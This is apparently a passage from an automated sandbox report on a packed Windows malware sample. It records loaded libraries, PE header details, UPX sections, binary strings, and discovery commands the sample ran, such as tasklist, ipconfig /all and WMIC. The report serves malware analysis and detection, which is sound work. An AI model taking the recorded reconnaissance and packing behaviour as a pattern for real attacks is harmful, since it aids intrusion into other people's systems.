Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll

Source: C:\Users\user\AppData\Local\Temp\bound.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static file information: File size 8240610 > 1048576

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Data.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.pdb8* source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: bound.exe, 00000011.00000002.1605507236.00000254B6D83000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: System.Drawing.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER40B.tmp.dmp.29.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6B32000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387564300.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499835574.00007FF8F8754000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\bound.PDB] source: bound.exe, 00000011.00000002.1610583580.00000254CF206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499519391.00007FF8F8301000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498932456.00007FF8E83BB000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Core.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499164616.00007FF8F0D01000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Xml.pdbX`h0a source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1474323542.00007FF8E72E8000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6BCA000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1387564300.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499835574.00007FF8F8754000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1469630464.00007FF8E6BCA000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: System.Configuration.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Data.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Xml.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.pdb source: bound.exe, 00000011.00000002.1605507236.00000254B6D83000.00000004.00000800.00020000.00000000.sdmp, WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1500164884.00007FF8F9181000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: System.Data.pdbH source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: mscorlib.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498932456.00007FF8E83BB000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Drawing.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1499964052.00007FF8F8D81000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: System.Core.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1498719679.00007FF8E8371000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: System.Numerics.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: System.ni.pdb source: WER40B.tmp.dmp.29.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER40B.tmp.dmp.29.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmp

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: 2.3.SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe.1dcb65700d0.2.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 2.3.SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe.1dcb65700d0.2.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor
Source: 2.3.SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe.1dcb65700d0.0.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 2.3.SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe.1dcb65700d0.0.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 2_2_00007FF8E6C89060 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

2_2_00007FF8E6C89060

Source: python313.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1cb64b
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f35a
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x46d69
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xdba7
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x17cae
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa8f8a
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Static PE information: real checksum: 0x7e5fcb should be: 0x7e01b6
Source: libcrypto-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x197f77
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x11959
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1a226
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1fcc8
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xdd74
Source: libssl-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x4330c
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x7797
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x21293
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x15eca

Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E796AC25 push rcx; ret	2_2_00007FF8E796AC62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF8E7A44331 push rcx; ret	2_2_00007FF8E7A44332
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF88664D2A5 pushad ; iretd	11_2_00007FF88664D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF88676861B push ebx; ret	11_2_00007FF88676862A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF88676862B push ebx; ret	11_2_00007FF8867686CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF8868333EE pushfd ; iretd	11_2_00007FF8868333F0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886837A9C push esi; iretd	11_2_00007FF886837A9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886839266 push esi; iretd	11_2_00007FF886839267
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF88677D668 push ss; retf	17_2_00007FF88677D837
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF88677481F push esp; retf	17_2_00007FF886774821
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF886774829 push esp; retf	17_2_00007FF88677482A
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Code function: 17_2_00007FF88677A272 push ebx; retf	17_2_00007FF88677A282

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\VCRUNTIME140.dll	Jump to dropped file
